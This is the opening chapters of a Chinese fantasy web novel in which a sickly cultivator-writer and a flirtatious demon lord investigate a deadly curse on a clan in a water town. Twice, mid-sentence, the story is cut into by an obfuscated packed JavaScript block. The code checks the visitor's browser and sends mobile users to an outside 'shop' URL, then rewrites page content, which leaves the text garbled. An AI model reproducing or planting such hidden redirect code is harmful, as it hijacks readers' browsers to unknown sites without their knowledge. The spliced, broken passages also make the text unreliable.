《写限制文赚功德,我被魔尊盯上了》 1. 捕获一只黄皮子 月色如银。密林中,只有踩在枯叶上的一串脚步声。 走在最前头的是个年轻女孩,二十出头,身材偏瘦,一双明亮的浅栗色眸子嵌在白皙的小脸盘上。 五官精雕细琢,薄唇却没多少血色,透着一丝病态。 颜清辞的脸色在月光下显得更苍白,她警觉地注意周围细碎的声响,却听一个轻佻的声音念: “她额头布满细密的香汗,边喘息边求饶:我受不住了……” “萧衍!” 颜清辞脑袋炸了,怒吼道,“说了多少次了,別把我的文念出来!” 萧衍,一款剑眉星目、轮廓深邃的浓颜系男子。 皮囊无可挑剔,性情一言难尽。 他咯咯笑起来:“颜作家,你不要这样凶粉丝好不好~” 这男人属实离谱,他们这夜是来办正经事的。 一个冷淡的男声响起:“这鬼地方我们为什么不白天来?” 说话的是罗晟,他原本是“治安部第四十七区”队长。 治安部负责规范仙魔的行为,维护三界治安,类似凡间的警察局。此人上周刚刚被“优化”了,原因据说是没处理好人际关系。 萧衍口吻戏谑:“可能是因为,只有你一个人怕鬼?” 颜清辞不敢相信自己的耳朵,一个魔却怕鬼,这实在是过于讽刺了。 “世界上没有鬼的,罗先生。” 这次说话的是林朔,萧衍的助理兼军师,文质彬彬,浓浓书卷气。 “凡人也觉得这世上没有仙,更没有魔,这事谁说得准。” 罗晟一边四处张望,一边策动灵力在指尖点亮了一团光。 “确实没有的,人死了七魂散尽,很难找回来的……” 萧衍顿了顿,露出诡异的一笑。 他故意走到罗晟背后,冷不丁拍了他一下,说,“不过啊,你说的也有道理,这事谁也说不准,搞不好现在就有一个鬼跟着你呢!” 罗晟的脸肉眼可见地变了惨白,他从腰间抽出一根折叠棍,搅起一股风声,横在萧衍脖颈间。 只听见他冰冷的声音说:“再吓我,你这脑袋就重新安吧。” 萧衍连忙举起双手,后退一步连连服软:“我开玩笑的嘛,晟哥你消消气。” 罗晟收回折叠棍,提着手电小心翼翼继续往前走。 或许是为了缓和气氛,林朔同颜清辞闲聊起来。 “颜作家拿仙籍没多久吧?” “嗯,两个多月吧。” “听说你修炼是因为得了绝症?” “嗯,晕厥症,大夫说没得治。” “半年就修出灵根,仙考一次就过,你也颇有慧根了。” 颜清辞讪讪一笑,考了仙籍又有何用,灵力低微,还是只能靠写小破文赚功德。 萧衍不无得意:“那当然,虽然我是颜作家的粉丝,但她要没点真东西,我怎么可能让她加入呢?” 颜清辞连连叹气:“萧老板,不是我想加入,是你死皮赖脸要挟我。” 萧衍露出一抹邪笑:“话不能这么说,你在文娱版写那些小皇书撑死能挣几个功德?咱们这一单就抵你写几年的收成。” “小皇书怎么了?满足人之所求、所欲、所愿即生功德,内什么欲也是欲好吗?” 萧衍笑得更欢了:“当然,内什么欲是人都有,颜老师有需要的话,随时告诉我就成。” 她翻了个白眼,懒得再跟他掰扯。 走了将近二十分钟,夜雾中忽然耸立起一个黑色的物体,颜清辞指着那物说:“就是这个贞节牌坊了吧?” 四人走近看,确是一座牌坊,顶上正中石碑上书“冰清玉洁”四字,底下石梁上书“旌表钱秉文妻苏氏节孝”字样。 顺着牌坊再往前望过去,隐隐可见飞檐瓦顶,应该就是那娘娘庙了。 颜清辞看着牌坊上的字,悠悠地说:“贞节牌坊后面建娘娘庙,守节的寡妇能招来娃娃才怪,封建糟粕。” 萧衍不知什么时候凑到她跟前,几乎和她脸贴脸,语气暧昧:“颜老师,别担心啊,有我在,不用求送子娘娘的。” 颜清辞弹开两步,像炸了毛的猫,尖叫出声:“萧衍你是不是有病!” 他一脸得意地看着她,总算没有再说出什么更离谱的话。 娘娘庙的入口处,匾额上“清溪娘娘庙”的字迹已被风雨侵蚀得难以辨认。 进门入院,虽是盛夏时节,却遍地断枝腐叶,一副破败景象。 绕过院中四散倒落的木桩、石像和香炉,四人踩着沙沙的脚步来到了正殿门口。 萧衍率先走了进去,林朔和颜清辞跟上,罗晟在门口踌躇了一会儿,才迈过门槛。 萧衍一弹指,飞出几个火星点燃殿内的残烛,他们才依稀看清内部的构造。 殿前端坐三霄娘娘神像,像身所披斗篷蒙着厚厚一层灰尘,难辨原本的色彩。就连神像面上慈祥的笑,也透出一丝诡异。 林朔此时已经走到神龛前,仔细查看着供桌上的物品。殿内很静,他们的脚步声在殿内各个方向清晰可辨。 “啪”!正殿几扇大门忽然悉数关上,火光也在一瞬间熄灭。 萧衍正欲重新点火,四下响起此起彼伏的哭声。 声音仿佛来自地府,呜呜咽咽,凄凄惨惨。 罗晟点燃指尖,脸上的肌肉微微抽搐。 斑驳的墙上白色的鬼影闪动,那些半透明的影子转了一阵,忽地从墙上弹出来,飞到众人面前。 是一张张长满獠牙的骷髅脸。 萧衍大手一挥,将好几个幻影打散成烟,不屑地“嗤”了一声:“故弄玄虚!” 他再次扔出火星,点燃殿内的烛火,那些骷髅渐渐消失不见。 “小心!” 林朔陡然大喝,朝半空伸出手指。 “咔嚓”一声,几支箭在半空中被折成两半,掉落在地。 “大家看头顶。” 他话音未落,梁上隐隐绰绰,箭矢从四面八方射来。 颜清辞默念护身咒,策动灵力在周身筑起一道防护罩挡开箭矢的攻击。罗晟展开折叠棍,打开飞过来的箭。 随着箭矢的射出,殿内一角传来一阵清脆的铃铛声。 颜清辞一回头,一团黑影冲将出来,朝她的方向直飞过来。 萧衍瞬时挡在她面前,一伸手抓起一根闪电变成的长鞭,朝那黑影抽去。 颜清辞定睛一看,是个披着黑袍的年轻女人,脸上画着浓重的烟熏妆,鼻环和唇钉在动态中微微闪光。 她的身手显然不敌萧衍,被闪电鞭击中好几下,蜷着身子,退到墙角。 这时,那女人朝神像的方向吹了一声口哨,从神龛底下窜出一条黄色的闪电,瞬时间整个殿内弥漫起一股褐色烟尘,伴随着恶臭朝他们的眼口鼻席卷而来。 “闭眼!捂住口鼻,有毒!” 林朔的声音从迷雾中传来。 混乱中,不知是谁用灵力起了一阵风吹散尘雾,他们再睁开眼时,那个黑袍女已不见踪影。 萧衍手里却攥着什么东西,那物还在使劲挣扎,发出尖细的叫声。 其他三人凑过去一看,原来是只黄鼬。 萧衍笑呵呵盯着黄鼬的一双小眼睛,道:“哟,是只黄皮子呀!来,跟老子讨个封看看。” 颜清辞第一次在一只动物眼里瞧见了鄙夷。 那小兽扑棱着四肢,撇过头去。 颜清辞端详着那龇着牙的小兽,说:“这就是民间说的‘仙儿’,和那女的一起修炼的。” 萧衍一咧嘴:“哦?那这小畜生应该知道些什么内情吧。” “是啊,它聪明着呢,用通灵术可以和它交流。” 颜清辞说。 “哦?” 萧衍用灵力变出一条绳索,拴住那小兽,把它放到地上,对它说,“跑远的话,就会被抓回来,最好老实点。” 那黄鼬哪理他的话,脚一沾地便撒腿就跑,没跑出去几米,忽然发出一声惨叫,死命挣扎起来。 原来是被绳索紧紧勒住,喘不过气。 萧衍叹了口气,向前走了两步,那绳索渐渐松开,他望着那小兽说:“你看,我说什么来着,不要逃跑。” 黄鼬被他凌厉的眼神震慑地后退一步,却又像意识到了什么缩了回来,低下头,怯生生地趴在地上不敢再妄动。 萧衍回头对颜清辞说:“那个通灵术,你会用吧?” “会是会,但太费灵力了,我没用过。” 颜清辞无奈地摆摆手。 萧衍不以为然:“你没带够功德散吗?” 她下意识瞥了一眼萧衍的脖子,领口处隐隐可见几道纹身…… 那不是纹身,是灵纹。 何不食肉糜…… 她摊手:“我这经济条件,功德散是随便嗑的吗?” 世间只有百万分之一的异禀之人身上刻有灵纹,可以吸收天地间自然生发的功德。其他修炼者,则只能用功德余额换功德散稳固灵根。 听了她的话,萧衍眯起眼,从衣服里掏出一把精巧的匕首,在食指上划了一道。 鲜血汨汨流出,他抓过颜清辞的手,在她手心画了一个符,她只觉一股暖流自手心传来——充沛的灵力注入了她的身体,功德值飙升。 她抬头看了一眼萧衍,只见他面色如常地收回匕首,再看指尖的伤口也不见了踪影。 “够用了吗?” 他问。 “够……倒是够,只是这种输功德的方式,我还是第一次见。” 颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019703|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清辞低下头去看手心,那道红色的符咒渐渐褪去。 “你不喜欢这种方式,我们也可以试试其他的。” 他的脸上露出狡黠的神色。 “不用,我觉得这种特别好。” 颜清辞连连摇头,下意识往后退了两步。 她当然知道“其他”输功德的方式有哪些,之前就听说过有低阶修炼者和有灵纹的仙魔“双修”获取功德。 而那些灵纹者通过满足对方的情欲,也能做成功德,算是“双赢”。 萧衍见颜清辞脸红,笑得更欢了,他又凑近,低沉的嗓音带着蛊惑:“什么时候,颜作家想试试别的方式,不要客气,跟我说。” 颜清辞才不想…… 她和萧衍的第一次见面,就羞耻感拉满。 那天她正赶稿,门口传来敲门声。 她开门,这男人穿着黑衬衫,微敞的领口透出一段精致的锁骨。 他撑在门框笑靥如花:“你是‘白玉菇’老师吗?” 她一时语塞,不知如何作答。 这人是怎么扒到她的马甲的? 男人周身亮起一股暗红色的气——他竟是个魔,还是个灵力高强的大魔。 实际上,仙魔本无异,都是凡人吸收功德修炼而来。 只不过仙是通过仙考,由仙界理事会认证的,灵核上刻了仙印,周身气息呈金色。 而魔的气息,则是红的。 男人亮出手机,上头刚好是她的一篇代表作……病娇师弟折辱清冷师姐,肉香四溢。 “这位太太,你的文写得很不错,可是,我十六岁的妹妹沉迷其中,不太好吧?” 她冷冷道:“那你应该没收她的手机,而不是来找我。” 她要关门,男人却探了半个身子进来:“颜作家,是吧?” 她警惕地看着他:“你怎么知道我姓什么?” 男人耸耸肩:“我呢有点人脉,不过我没有恶意的,只是想跟颜作家你探讨一下,你写的东西,是不是容易带坏青少年呀?” “我说了,你大可以管好你家的青少年,我只是个小虾米,写文只为混口饭吃。” 萧衍笑了:“颜作家想赚功德,我有路子啊,虽然你写的东西,我也很爱看……” 他眼尾上翘,笑得像只花蝴蝶,身子微微靠近,在她耳边低语:“你好像懂得很多,有些玩法,我见都没见过。” 颜清辞连连后退。她懂个屁,现实中,她甚至连男人的嘴都没亲过一下。 …… 总之,在萧衍的威逼利诱下,颜清辞加入了他的接单四人组。 在这个团队里,萧衍和罗晟是魔,而她和林朔则是仙。 清溪镇这一回是四人组接的第一单。愿主乃是本镇最大宗族钱氏的族长,同时也是镇长。 近十年来,每年都有一名钱氏年轻子弟得怪病暴毙而亡,去年更是轮到钱镇长的亲孙子中招,这才有了这一单。 “渡了么”app上的单子大多都是分布于世界各地的“心愿捕捉大模型”自动抓取的,接了单以后,接单者需要自行获得愿主的认可。 他们当天下午抵达的清溪镇,用“玄学大师”的身份成功忽悠钱镇长上车,委托他们查清钱氏子弟的诅咒真相。 他们下榻的民宿老板娘提供了一条线索,说是镇西口有一座娘娘庙镇压着一个和钱氏有仇的女人的灵魂。 于是他们漏夜前来一探究竟,果真遇见一个邪魔,虽然被那魔给跑了,却抓到了一只黄大仙。 颜清辞得了萧衍输给她的功德,走到黄鼬跟前,蹲下身默念咒文,催动灵力在它周围的地上画下一道符阵。 最后,她在黄鼬额头上一点,说:“好了,说说看吧,你和你的主人到底在这破庙搞什么鬼。” 那黄鼬抬起头,看了一眼颜清辞,吱吱叫了几声。 “它说什么?” 看见颜清辞露出努力憋笑的表情,萧衍不解地问道。 “它问我为什么跟你这恶人是一伙的。” “你是不是还没吃够教训?” 萧衍恶狠狠地瞪了那小兽一眼,吓得它缩成一团。 “你别吓唬它。” 颜清辞摸了摸黄鼬的头,柔声说,“你只要老老实实告诉我们事情的来龙去脉,我们是不会让那边那个恶人伤害你的。” 黄鼬犹豫地看了看他们每个人,又吱吱叫了起来。 “它说,它的主人十几年前来到这个镇上,听说了那个传言,就想帮两百年前那个女人实现她的诅咒。 那女人的骨灰就埋在这庙地下,怨念极深,每帮她杀死一个钱氏后人,就能得到一大笔功德,所以这些年,他们就一直在这里修炼了。” 颜清辞一边听一边翻译黄鼬的叫声。 2. 八辈子孙的诅咒 “两百年前那个女人,是怎么回事?” 林朔问。 那黄鼬手舞足蹈,又吱吱说了一长串话。 “两百年前,钱氏一位先祖得罪了一个有法力的女人,其实那个女人是那位先祖的一位情人,还有了他的孩子,但那位先祖嫌弃女人出身来路不明,就娶了另一位富家小姐当了太太。 太太善妒,先祖怕和女人的关系暴露,还设计害她失去了孩子。是因为这层缘故,那女子才下了这样恶毒的诅咒,要他用子孙的命来给她的孩子偿命。” “这么听起来,这位先祖也实在是活该啊。” 萧衍说。 “谁说不是呢,就是因为钱氏的后人也觉得自己祖宗这事办的不地道,所以才规定不许讨论子孙被诅咒的真实原因。” 颜清辞忽然想到什么,又问黄鼬,“不对啊,如果钱氏后人都不允许说出当年的真相,你的主人又是如何得知的?” 那黄鼬歪了歪脑袋,引着颜清辞来到神龛的某一个位置,吱吱叫了几声。 颜清辞蹲下去,把手伸进帷幔底下,摸到地上一处凹陷,里面藏着一个像是把手的东西,她轻轻一提那把手,地面打开一个小匣,她从里面取出一本册子来。 她翻开那册子,里面详细记录了当年发生的事情,以及建造这座寺庙镇魂的前因后果。 “这座寺庙最先不是娘娘庙,原是镇魂的真武大帝庙。” 颜清辞复述着册子里的内容。 黄鼬又吱吱叫了几声,颜清辞翻译道:“若要镇魂阵灵验,须照实向真武大帝说明事情的因由,这本陈情册就是当时那位钱氏先祖亲手书写的。” 她合上册子,递给伸手来要的林朔,他翻了翻,点点头道:“印象里,当年倒确实是这个文风。” 他和萧衍都是明朝正德年间生人,算算竟有五百多岁了。 “行,这趟算没白来,把这册子和这小畜生带回去,再慢慢抓它的主人。” 萧衍打了个哈欠,往殿外走去。 只听那小兽似嗔怒地叫了一声,颜清辞笑着把它抱到怀里,说:“它说它叫招财,不许叫它小畜生。” “行啊,既然叫招财,如果这次不能让我们赚到功德,就把这小畜生拿去喂我老家玄境山的狼。” 萧衍向招财投去一个阴狠的眼神。 招财也不示弱,它把头舒舒服服地枕到颜清辞的臂弯里,然后对着他亮出一口尖利的白牙。 四人回到民宿,颜清辞抱着已经睡熟的招财往自己房间走,萧衍叫住她:“让这小畜生跟我睡,它的主人很可能来找它,你搞不定。” “你输了我那么多功德,有什么搞不定的,它现在可是我们的重要线索,我怕你误伤。” 颜清辞把招财往怀里拢了拢,径自朝房间走去。 事实上,当晚相安无事,什么意外也没发生。第二天一早,萧衍到餐厅的时候,看见另外三人已经在那里了。 招财正悠闲地从颜清辞手边的小碗里一口一口喝着牛奶,见他走过来,一脸不屑地把头转了过去。 萧衍在空椅子上坐下,问:“今天有什么计划?” 林朔轻啜一口手里的茶,悠悠地说:“去走访一下其他受害者,看看这些人有什么共同点。” “哦,听起来很无聊。” 他把目光转向招财,阴沉沉地笑着说,“还不如对这小畜生好好严刑拷打一下,让它说出来它主人在哪里。” 招财听了这话,嗖地一声窜进颜清辞怀里,怒瞪着双眼看着他。 “没用的,它也不知道它的主人在哪儿。” 颜清辞撸了撸招财的毛茸茸的身体说。 吃完早餐,他们上了街,照着钱镇长给的名单一户户寻访起来。 清溪镇是典型的江南水乡,房屋临水而建,仲夏正是旅行的好时候,一大早,街上已是人声鼎沸,各地乡音混合着叫卖声不绝于耳。 一连走访了几户,确实都是差不多的情况。死者都是钱氏子弟,去世时不到三十岁,因突发不明疾病多器官衰竭死亡。 他们拐进一条弄堂,这户人家在弄堂尽头,门口整整齐齐摆了好几排花盆。 敲了敲门,过了许久,古老的木门嘎吱被打开一条缝,一位老太太探出头来,警惕地看了看他们几人,问:“你们找谁?” “您好,请问这里是钱雨泽家吗?” 萧衍上前,用亲切的语气询问。 老太太脸上闪过一次困惑,但很快恢复冷淡的表情、说:“钱雨泽三年前就死了,你们找他做什么?” “您是他的?” 他反问。 “我是他的外婆,你们到底是谁?找他有什么事?” 老太太面露愠色,语气很不耐烦。 萧衍露出一个真诚的微笑,耐心解释道:“哦,奶奶您别误会。我们是镇上派来的调查员,来调查一下情况的。” “人都死了那么久了、还有什么可调查的。” 老太太嘟囔了一声,却还是把门打开了,“进来吧。” 四人在狭小的客厅坐了下来,房间里的陈设很老旧,空气里还弥漫着一股淡淡的霉味,才过的梅雨季还赖在这家不走似的。 “奶奶,您刚才说,钱雨泽是什么时候去世的?” 继续是萧衍发问。 “三年前,就是22年,十月份。” “他当时是得了什么病么?” “一开始就是发烧,过了一周多,忽然就说没救了。” 说这话时,老太太脸上总算有了一些形似悲伤的表情。 “您听说过,钱氏子孙的诅咒吗?” “呵,什么诅咒。” 老太太冷笑一声,“我们雨泽,原本根本不姓钱。我女儿找了后来的男人之后,才改姓的,他跟姓钱的根本没有血缘关系。” 听了这话,四个人面面相觑,这确实是他们没想到的。 气氛僵持了片刻,林朔终于开口打破了沉默:“您外孙是改姓钱的这回事,镇上人都知道吗?” “我女儿二十多年前嫁过来的,镇上年纪大一些的人都知道,这姓钱的算是大宗族,当时还搞了仪式呢,现在想来,真是讽刺。” 老太太脸上又露出方才那般的冷笑。 从老太太家出来,萧衍给出了自己的看法:“那个魔十年前开始杀人,很可能因为那时候她才来到这里,不知道钱雨泽并非钱氏血脉倒也很合理。” “合理是合理,只是她选人的标准到底是什么,我到现在也看不出来。” 林朔说。 “有没有可能没有什么标准,就是随机选人呢?”萧衍说。 “不是都问了受害者的生日?有没有什么规律?” 罗晟拿出了干警察的专业素养,把笔记本递给林朔看:“生辰八字什么的、我不懂。” 林朔看了看,摇摇头:“这些人的八字看不出什么规律啊。” 他又把笔记本递给颜清辞,她看了一会儿,也摇了摇头,但还是掏出手机拍了张照,说:“我再想想吧。” 这时,萧衍的电话响了起来,挂断电话,他表情有些凝重,看着其余三人说:“民宿老板娘打来的电话,说又出现了新的受害人。” 他们赶回民宿,在前台见到了“新受害人”的母亲。憔悴的女人脸上是刚哭过的痕迹,老板娘见他们回来,连忙热情地向她介绍起来: “于姐,这几位是镇长请来的大师,专门来解钱氏子孙的诅咒的,你快把梦梦的情况跟他们说说,说不定还有救。” 这家民宿的老板娘是个明媚爽利的女人,嗓门嘹亮,是个十足的热心肠。 被称于姐的女人抬起头看了看他们,有些将信将疑地开了口: “昨天下午,我女儿钱梦和朋友一起看完电影回来,突然就开始剧烈呕吐,去医院查也没查出病因,既不是吃坏东西,也不是感染病毒。 一直到今天,吐得胃都空了,得靠输液吊着,最近镇上到处都在传什么钱氏的诅咒,难道,我女儿也被诅咒了么?” “要不要去省里的大医院再查一查?” 颜清辞建议道。 “自然是要去的,但之前,镇上已经有好几个年轻人得了查不出来的怪病,很快人就没了,连咱们镇长的孙子不都是么? 我实在是怕,听老板娘说你们是有道法的,为了孩子,我无论如何也要来碰碰运气。” 女人的眼神坚定,不似先前那般手足无措。 “于姐,方便带我们看一眼孩子么?” 萧衍亲切地询问。 “你们跟我去趟医院吧。” 女人答。 钱梦一个月前刚过完十八岁生日,今年高考考上了省会的大学,原本全家人都沉浸在喜悦当中。 然而此刻,女孩的脸苍白如纸,躺在病床上奄奄一息,整个病房被悲伤的情绪填满。 同样弥漫在空气里的,还有修炼者才能感知到的一股灵力。四个人对了一个眼神,互相点点头。 “像是一种远程操纵的术法,不找到施法者,很难破。” 颜清辞小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019704|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声对身边的萧衍说。 这时,床上昏迷的少女苏醒了,她先是迷茫地看了一眼病房里的人,然后像是被电击一般弹了起来,疯狂呕吐起来。 她的母亲慌忙拿盆去接,吐的几乎是水,只听她剧烈地咳了一声,盆中一口鲜血晕散开来。 姓于的女人尖叫一声,手颤抖着,差点把盆掉在地上。她惊慌失措地去按呼叫铃,颜清辞连忙上前从她手里接过盆,另一只手扶住她摇摇欲坠的身体。 “你不要着急,该带孩子去省里看病就去,我们会想办法。” 颜清辞轻拍她的肩膀安慰道。 医生和护士很快赶来,女人无措地退到一边,看着他们忙碌的身影,她问颜清辞:“我的梦梦真的被人下了诅咒吗?” “是不是诅咒不好说,但她确实是被人用了法术才会这样。” 她用确保床前的人们听不真切的音量小声答道。 “为什么要对我的女儿施法术?我这两天,想了又想,但我们真的从来没有得罪过任何人呀。” 女人无助地流下一行眼泪。 “就算是无辜的人,也难免被恶人盯上,你放心,我们一定尽快找到施法之人,救你女儿性命。” “那就……谢谢你们了……” 女人的眼泪止不住地流,声音也颤抖起来。 从钱梦病房出来,颜清辞眉头紧锁,说:“看这姑娘的情况,如果不快点找到那个魔,她很有可能会死。” 萧衍用下巴指了指她肩上的帆布包,里面招财正在毫不知情地酣睡: “虽然这小东西不知道它的主人在哪里,但能不能把它的主人引出来呢?” 林朔点点头:“嗯,我昨天找了几个北地出马的朋友问了问,‘仙儿’确实可以召唤自己的主人,值得一试。” 当招财得知四人组要用自己当诱饵来引出它的主人这个方案时,自然是拒绝的。 它一溜烟钻进颜清辞房间窗帘后面的缝隙,试图表达自己的不合作态度。 萧衍冷冷地说:“你不配合的话,那就代表你对我们失去了所有的利用价值,也不用等到去玄境山了,我现在就把你弄死吧。” 他一捏拳头,只听那窗帘后面传来一声惨叫,招财一骨碌又滚了出来,哀怨地看着他们。 “你的主人肯定是跑不了了,如果你助我们一臂之力呢,我们还能给你找个主人让你继续修炼。 不然,就算他现在不动手,等你的主人被我们抓到了,你一样会断了功德供给,我看离死也就不远了吧。” 颜清辞平静地唱起了白脸。 招财一脸不服地吱吱了一句话,颜清辞替它翻译道:“它说,就算帮了我们,到时候也难逃一死,它不相信我们的为人,尤其是你。” 颜清辞在说到“尤其”之时转向了萧衍。 “诶,小畜生,死到临头了还敢得罪老子……” 萧衍气得俯下身就要去抓招财,它“嗖”地又溜回窗帘后面去了。 “这位大爷呢,虽然人品不太行,但灵力高强,要不,我让他给你输点功德,够你用上两年的。这样,就算你那主人不成了,你还能找个新的主人,怎么样?” 颜清辞开出了新的条件。 “诶,你跟社小畜生一起诋毁我也就算了,还惦记起我的功德来了?” 萧衍简直不敢相信自己的耳朵。 “它那么大点用不了多少功德的,你想不想让它帮忙嘛。” 颜清辞回答得理所当然。 听了这话,招财又窜了出来,抬头对着颜清辞叫了两声。 “当然是真的。” 颜清辞用力点头,“来来来,萧哥,你快来给它输功德。” “萧……哥?” 萧衍着实没想到颜清辞也能无耻到如此地步,但眼下也确实没有什么更好的办法,只能再次割破手指,给那只“小畜生”输了功德。 “你要是敢耍花招,当心自己的小命。” 完事他还不忘威胁一下招财,而那小兽仿佛是朝他做了个鬼脸,得意洋洋地钻到颜清辞怀里去了。 入夜之后,他们带着招财来到离民宿有一段距离的一座拱桥前。 萧衍解开封印着招财灵力的绳索,让它跑到桥中间去。接着,四人分别在拱桥两头隐蔽处埋伏站定。 借着月光,他们看到招财脚下亮起一道符阵,它双目紧闭,似人一般虔诚祝祷。过了十来分钟,一阵风起,黑袍女果然现身。 就在她蹲下去抱招财之时,四人各自跃出,从各个方向封住她的去路。 3. 横生枝节 黑袍女的脸上露出狰狞的表情:“暗算我?” 说着便朝颜清辞的方向冲过来。 提升了灵力的颜清辞自然不惧,两人打了几个来回,黑袍女就落了下风。 颜清辞用灵力织出一张网,想将她擒住,对方却突然像疯魔一般大吼一声,爆发灵力冲破颜清辞的网,从怀里抽出一把短刀,注入灵力朝颜清辞面门砍来。 颜清辞忙念护身咒,黑袍女却似决心要下死手,眼见利刃刺破她面前的屏障就要落到她脸上,罗晟的棍及时挡在了面前。 黑袍女又发疯似地转向罗晟,举起短刀朝他胸前挥过去。 罗晟一开始只是隔挡,但对方招招都下死手,确实把他惹毛了,他一个转身躲开黑袍女的刀,一棍杵在她腰上,她踉跄几步,倒在地上。 罗晟从怀里取出手铐,才弯下身,地上的女人“蹭”地弹了起来,抡起短刀就要来抹他的脖子。 男人动作也是飞快,他一棍打掉她手里的刀,顺势将她再次打翻在地。然而,这次黑袍女没有再跳起来还击——她再也起不来了。 “不是要抓活的么,你怎么下这么狠的手。” 林朔查看着躺在地上的女人的尸体,她已经灵力耗尽,躯壳在一点点消散。 “我没下杀手,她自己透支了灵力。” 罗晟一脸无辜。 黑袍女的躯体很快化作烟尘,林朔取了她的灵核放入一个小盒里。 他们回到民宿,医院那边的电话已来了,说钱梦的病神奇地好转,呕吐症状消失了,精神也已恢复。 萧衍一脸轻松地打了个哈欠,说:“没想到这单赚得这么容易,你们说老子是不是天才?” 颜清辞瞥了他一眼,冷冷地说:“你不觉得太容易了么?” 萧衍不以为然地摇摇头,看见招财从颜清辞帆布包里探出来的小脑袋,说:“这小畜生怎么还在这里?” “我给它拴了灵力索,我觉得这件事没这么简单,还不能放它走。” “你愿意疑神疑鬼的呢,我也没办法,总之老子现在要去休息了,明天镇长签字确认,我们就可以回去了。” 萧衍又打了个哈欠,挥了挥手往自己房间去了。 第二日天蒙蒙亮的时候,颜清辞便出门了。 她越想越觉得昨夜那魔杀得过分轻巧,远程控制的术法既耗费灵力又考验天资,能使这样法术的人居然如此轻易就被干掉了,太蹊跷。 她出了镇西口进入密林,白天的林子又是另一幅景象,全然没了那晚的诡异森严。 旭日的光辉透过树叶照进来,地面斑斑驳驳,她踩着碎光往前走,呼吸着沁满花草香的空气,心情甚是舒畅。 穿过贞节牌坊,行至娘娘庙,却见一群工人已然把地刨了个遍,她绕着满地的石屑走进正殿,问一个正在作业的工人道:“师傅,这是在干嘛呢?” 那大叔抬头看了看她,答:“这边地下的管道裂了,镇上停了水,这不抢修呢么?” 颜清辞看了一眼神龛下方暴露的一排管道,狐疑地问:“这镇上的水管一直从这里走吗?” 那大叔也被她这话问懵了,顿了一下才说:“是啊,不然呢?” 颜清辞的心中的不安之感再次涌了上来,她漫无目的地转出正殿,来到娘娘庙的后院,这里他们那晚没顾上来看。 一个不起眼的角落里,立着一块石碑,颜清辞绕到石碑正面,上面却没有字。 这显然是一座墓碑,因为石碑前面的杂草刚有被人工拔除的痕迹,地上放着的瓜果贡品和花束,也还新鲜。 这是谁的坟?来扫墓的人又是谁呢? 就在此时,脚下的地忽然剧烈摇撼起来,颜清辞条件反射地蹲下去抱头,意识到是地震了。 震动并没有持续太久,几声好似惊雷的巨响之后,一切又归于平静。 颜清辞站起身,拍了拍身上的尘土。她跑回正殿,只见工人们一个个躲在供桌下面,护着脑袋。 刚才那位大叔从桌子下面钻出来,语气有些嗔怪:“停了,停了,真见鬼,咱们这里可是百年难遇一次地震呢。” 颜清辞带着一肚子疑问,匆匆赶回民宿。萧衍他们才起床,正在餐厅吃早饭。 看见她进来,他高高挥着手招呼道:“颜作家,你去哪里了?刚才地震了呢。” “嗯,我知道。”她缓缓走过去,拉了张椅子坐到他对面,“我又去了一次娘娘庙。” “哟,还不死心?这单咱们已经做成了,你就别瞎操心了。”萧衍不以为然地说。 “事情真没那么简单。”颜清辞严肃地说,“我到了那边,看见工人在修地底下的管道,那个神龛下面,一直都铺着水管呢,你懂我的意思吗?” 萧衍听了这话,神情也认真起来:“你觉得那本册子有问题?” 林朔忽然从旁边那张桌子探过头来,说:“钱氏后人为了镇住那个女人的魂灵,铺完管道以后又把那册子放回原位,也不是没可能啊。” “你说的对,但也可能那本册子根本就是伪造的,是被别人放在那里,想要混淆我们视听的。”颜清辞说。 “这个‘别人’为什么要这么做呢?”萧衍问。 “自然是为了掩盖自己幕后黑手的身份,让我们以为事情已经解决了,赶我们走。” 萧衍凝视她的眼睛,正要说什么,老板娘却走了进来,对他们说:“四位大师,镇长请你们过去。” 钱镇长特别派了车来接他们,来到镇长办公室,却见一人已然坐在了钱镇长对面的位置。 那人转身笑脸盈盈看着他们,肥头大耳,倒是颇为福相。 钱镇长站起身,客气地招呼他们:“四位大师,快进来坐。” 紧接着,他又迫不及待地介绍起那人来:“这位是云中门的郑大师,郑大师,这四位是玄境山来的大师。” 萧衍脸上立马闪现了一丝不屑,但还是忍住了没说话。 “各位好,鄙人云中门郑雷。” 四人中只有林朔伸出了手和他握了握 。 “玄境门林朔。” 玄境门和云中门乃一南一北两大仙门,名声不相上下。 萧衍看向钱镇长,道:“您不叫我们过来,我们今天也该来找您了,钱氏子弟的诅咒已经解了,还请您给我们签个字,我们就该回去了。” 钱镇长笑道:“啊,当然,当然,这次的事真是多亏了四位大师。” 他这么说着,语气里却不尽是真诚之意。 “我这就给您签字。” 他从办公桌上拿起钢笔,跃跃欲试。 萧衍这会儿却不着急了,他双手插兜,瞟了一眼郑雷,问:“钱镇长,您叫我们来,是有什么别的事吗?” 钱镇长面露尴尬之色,支支吾吾起来:“这……” 郑雷插话道:“各位想必也感受到方才的地动了吧。” “啊,地震了,怎么了?” 萧衍斜眼看着他。 郑雷神秘一笑,道:“此处鲜少发生地动,今日异动,皆因四位在古桥杀生,触怒了河神所致。不过,既然我已来了此地,自然能替镇长解决此事,就不劳四位费心了。” 萧衍气不打一处来,怒道:“你算个什么东西,在这里胡说八道!” “在下云中门鹤唳堂堂主郑雷。” 